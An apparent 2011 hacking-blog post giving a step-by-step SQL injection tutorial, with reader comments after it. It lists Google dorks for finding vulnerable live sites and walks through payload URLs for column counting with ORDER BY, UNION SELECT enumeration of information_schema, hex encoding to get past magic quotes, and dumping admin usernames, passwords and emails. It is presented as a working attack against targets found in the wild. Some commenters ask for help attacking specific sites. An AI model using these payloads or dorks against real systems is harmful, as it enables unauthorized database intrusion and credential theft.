Friday, October 14, 2011

Basic SQL injection tutorial - Readers Choice





Hello readers. This has been a very busy week for me. But i had to take out time for my blog. First of all I would like to thank you all for visiting my blog frequently and post your feedbacks and requests. In the past one month Hackingalert has seen an enormous growth in traffic. today I am writing on SQL injection. this is my third tutorial on SQL injection but there is a heavy demad for it again and again. I have kept it a bit higher than basic level as you can go around and find lots of material for basics. Here I have compiled the major techniques in a single tutorial. So lets start.


What is SQL Injection?

SQL Injection (Or SQLi for short) is a method of code injection into Structured Query Language (SQL) databases. It exploits a security issue where a user's input is not correctly filtered, usually due to poorly coded query language interpreters.
Consider this code:
Code:
statement = "SELECT * FROM `members` WHERE `user` = '" + user + "';"

The above statement selects the specified "user" from the "members" table. Do you see any problems with this? Consider the following input as a username:
Code:
' or 'x' = 'x

When the database tries to pull up records of that username, this is the resulting query:
Code:
SELECT * FROM `members` WHERE `user` = '' OR 'x'='x';

Now, as you can see, the username is actually completely blank contained within the '', but the following OR statement will return true, as 'x' always = 'x'. Due to this problem of incorrectly filtering database queries, the hacker can input his/her own malicious code.

The above was just one example of SQL Injection, what we will be learning in this tutorial, is integer based SQL Injection using the ORDER BY and UNION SELECT queries.


Googe Dorks?

Before we get started on the rest of the tutorial, you will need to know what a Google dork is, and no, it's not the kind of dork you are thinking of!
A google dork is a small search phrase done by the hacker to find sites vulnerable to SQL Injection. Usually this search term will be very small and it will look for specific lines of text within the webpage or in the URL. I've included some here as a start:
Code:
inurl:trainers.php?id=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:Pageid=
inurl:games.php?id=
inurl:newsDetail.php?id=
inurl:staff_id=
inurl:news_view.php?id=
inurl:humor.php?id=
inurl:pages.php?id=
inurl:view.php?id=
inurl:detail.php?ID=
inurl:publications.php?id=
inurl:Productinfo.php?id=
inurl:releases.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:section.php?id=
inurl:page.php?id=
inurl:newsid=
inurl:news_display.php?getid=


Is my site vulnerable?

Now after you have found a site using a Google dork you need to check if it is vulnerable to integer based SQL Injection. To do this, it's simple. All you need to do is add an apostrophe ( ' )to end of the URL. You should get an error similar to this back:
Code:
Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' ORDER BY date_added DESC' at line 1

If you get this error, it usually means your site is vulnerable!


ORDER BY x--

Our first step to accessing the database, will to be find how many columns there are in the site. To do this, we use the ORDER BY x-- query (x being an integer variable). Example:
Code:
www.examplesite.com/index.php?id=5 ORDER BY 1--

We want to keep increasing "x" until we get back an error. So why? Imagine our database has 4 columns, if we try to order by the 5th, it can't access it. It doesn't exist. So if we get an error on ORDER BY 5--, it means we have 4 columns. Here is an example:
Code:
www.examplesite.com/index.php?id=5 ORDER BY 1-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 2-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 3-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 4-- (No error)
www.examplesite.com/index.php?id=5 ORDER BY 5-- (Error)

We can now determine the site has 4 columns.


UNION SELECT

We use the union select statement to combine the results of multiple querys in our SQLi. To test if it works, go to our sites normal URL, and write "UNION SELECT 1,2,3,4--" (without quotes) after it. In our example, we use "1,2,3,4--", but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".

Code:
www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,3,4--

You have probably noticed several numbers have appeared on the page. This is the vulnerable columns we are going to use for our SQLi. In our example, column 3 is vulnerable. You have also probably noticed I have replaced id=5 with id=-5. The reason for this is that sometimes our query on the page will be covered up by text or images, making it hard to find, or only viewable in the source code. To bypass this, we try to get the site to call a non-existing page (id=-5, there are no pages with the ID of -5). Usually this will result in the page being cleared of all text and images. If it doesn't work, just remove the - and continue on as normal.


VERSION()

This will be one of the easier things to do and understand, the name of the query itself is self explanatory. After we have tested UNION SELECT (and it works) we simply input VERSION() into one of the vulnerable columns in our URL, example:
Code:
http://www.examplesite.com/index.php?id=-5 union select 1,2,VERSION(),4--

We had 4 columns in our example and the vulnerable column was number 3. We have replaced the number 3 with VERSION(). You should now see the SQL version of the database. This tutorial will only deal with Integer based injection on SQL version 5 and above.

If our target has a version over 5, continue reading, if not, you need to find a new target or read a different tutorial.


Table_name

Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace VERSION() with group_concat(table_name). Then after your last column number, add "from information_schema.tables--". Example:
Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(table_name),4 from information_schema.tables--

What this code is doing, is combining the queries of column 1,2,3 and 4. In column 4, it is selecting all possible table names. These queries are then taken from information_schema.tables. You should now see a list of all table names on the screen.


Column_name

To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. What we want to use is a table which seems like it would include some good information, for our example, we are going to say we found the table "admin". Example:

Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name='admin'--

Here, as before, we are combining the queries of 1,2,3 and 4. In column 3 we are requesting all of the column names from information_schema.columns, but this time only from where the table_name is equal to "admin". Otherwise we would get the name of every column in the database, and this would just take much longer to go through.


Magic Quotes?

One common problem when completing the Column_Name stage is that they still recieve an error. This can be frustrating to those new to SQL Injection, so I'm going to cover the reason for this.

The problem here, is that the admin of the site has attempted to outsmart you by using "Magic Quotes". What this does, is it only allows you to select from the table if the table_name is in hex. You can convert your table name to hex by going here:
http://www.swingnote.com/tools/texttohex.php

Our query will now look like this:
Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x61646d696e--

You have most likely noticed that if you convert our plaintext column name into hex, the 0x isn't shown. The 0x is something we put in ourselves, which tells the site that the following text is going to be in hex.


Extracting Data

To finish off, we need to extract the data from the columns we have chosen. Once we found out the column_names, we can then use them in our group_concat() query to get exactly what we have been looking for. In our example, we will have found the column names "username", "password" and "email.
Code:
http://www.examplesite.com/index.php?id=-5 UNION SELECT 1,2,group_concat(username,0x3a,password,0x3a,email) from admin--

This query extracts the usernames, passwords and emails from the admin table. Remember I told you what 0x does? Well you will notice it again in our last query. 0x3a is the hex code for a colon ( : ). It is used so we can seperate our results easier, by doing this, we will get returned the following:

Code:
ExUser1:ExPass1:ExEmail1
ExUser2:ExPass2:ExEmail2
ExUser3:ExPass3:ExEmail3


This is a quick guide that can be handy while dealing with SQL injection attacks.  You can post your comments and feedback here. 
Happy hacking!

DARKLORD!!

17 comments:

  1. awsum..........loved it would love to know other kinds of sql injections except integer ones also....u rock abhinav totally

    ReplyDelete
  2. Dude. The article was quite interesting and informative, but for a note use example.com for any demonstration as example.com is booked specially for this purpose only or your own domain. examplesite.com is someone else's domain.

    I think you got my point

    ReplyDelete
  3. nice tutorial..must read for all..

    ReplyDelete
  4. An unexpected application exception has occurred.

    Input string '11OCT15WATCH4326$06607MWT' ORDER BY 13--' is not valid; the character ''' at position 38 is not valid.


    WILL DIS ALSO MEAN THAT THE WEBSITE IS VULNERABLE..

    ReplyDelete
  5. Yes this is also the sign of a vulnerable site...please add your comments with your name..avoid using anonymous states..Thanks

    ReplyDelete
  6. can this site be also hacked by integer sql injection as i have tried till ORDER BY 29-- but still it shows same result of the same error that was show when ' was added in the url at the beginning....

    ReplyDelete
  7. See if you have to hack a site by sql injection then first you wll have to find a website that supports indipendent database...Not evn the best hackers can hack this website bro..Its running on blogger

    ReplyDelete
  8. Abhinav,, really outstanding post...!! I appreciate it. Many blogs wont tell this HEX conversion and putting - before id number etc..

    Thank you so much..! I love your blog bro..!!

    ReplyDelete
  9. thanks alot...plz try to use a vali name while commenting...i will appriciate that :)

    ReplyDelete
  10. Thanks for sharing this usefull information in easy words.Share more with tools pls.

    ReplyDelete
  11. The used SELECT statements have a different number of columns

    What to do? :D

    ReplyDelete
  12. Soz for the double post, I changed the numbers and got another error:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%1,2,3,4-- AND active = 'T'' at line 1

    Im so bad at this SQL stuff ^^

    ReplyDelete
  13. @Prayanthem : No this error doesnt correspond to a database error..its a syntax error...look for error which corrosponds to databases..

    ReplyDelete
  14. hey buddy can write a post on how practice sql injection.....using WAMP/Mysql...etc etc......

    ReplyDelete
  15. @happyS : you can try the folllowing tools to practice all types of hacking:
    Webgoat
    DVWA
    You can find both these tools here on the blog..they contain lots of practice lessons.

    ReplyDelete
  16. Thanks Bro for this elaborate explanation. Need to shop online from Nigeria but don't use credit card here, any help?

    ReplyDelete
  17. Please why is my Havij 1.14 always bringing up HTTP error: 504 gatway time-out?

    ReplyDelete